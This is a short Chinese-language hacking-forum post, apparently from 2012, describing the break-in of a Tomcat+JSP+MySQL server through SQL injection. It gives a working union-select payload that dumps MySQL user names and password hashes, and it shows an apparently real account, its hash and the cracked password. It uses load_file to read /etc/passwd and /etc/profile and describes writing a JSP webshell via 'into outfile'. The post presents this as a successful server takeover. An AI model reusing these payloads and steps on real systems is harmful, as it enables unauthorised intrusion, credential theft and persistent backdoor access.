知道什么是注入中的大爱吗?注入里的大爱莫过于Tomcat+jsp+MySQL了,原因很简单,Tomcat需要SYSTEM或者root的权限,而使用jsp+MySQL的又通常是root,jsp没有php类的GPC
换句话说,这种环境的这种注入,只要有注入点,服务器就八九不离十
注入跟着数据库类型走,所以jsp+MySQL的注入与php+MySQL的注入的开始步骤几乎一致。
关于注入的基本步骤请出门左拐,本版有汇总贴。
作者:YoCo Smart
来自:Silic Group Hacker Army
http://blackbap.org
首先看注入点:
.jsp?id=0'union+select+1,concat(database(),0x3a,user(),0x3a,version()),3,group_concat(user,0x3a,password,0x3a,file_priv,0x3a,host,0x3c62723e)+from+mysql.user#
复制代码
得到信息如下:
2012-10-5 07:19:01 上传
host为%表示可以外链MySQL数据库,外链一个host为%且file_priv为Y的账户
superht:*E06323846BD27021132723BA86408F7E9623AB24
解得hash为jfyh5353
连接后确认为root权限,可以使用SQL语句
select jsp一句话的hex编码 into outfile
'/路径/webshell.jsp';
复制代码
来获取webshell
但是问题是,服务器中的网站路径并不知道
读取了/etc /passwd这个文件,获得几个比较敏感的路径
/var/www和/home/criterion两个路径,这两个路径以及后面加了/public_html和/htdocs的路径都不是网站路径。
这么看来只好读取Tomcat的配置文件
根据linux下Apache常见配置文件路径来猜Tomcat,根本就猜不出来。
不过这个时候我想到了一个问题。每次要进一个服务器,我们总会换位思考。如果我是那位可爱可敬又可怜的管理员,我会怎么做。
于是我试着把自己比作搭建这台服务器的管理员,服务器没有Apache,没有php,我只搭建Tomcat的话,环境变量我要写入/etc/profile的
突然想起来,原来这么简单。于是:
select
load_file('/etc/profile');
复制代码
这样就获得了Tomcat的路径:
/usr/local/jakarta-tomcat-5.0.19
2012-10-5 07:36:39 上传
直接读取这个目录下的/conf/server.xml就获得了网站的路径。然后用MySQL将webshell写入这个目录就获得了webshell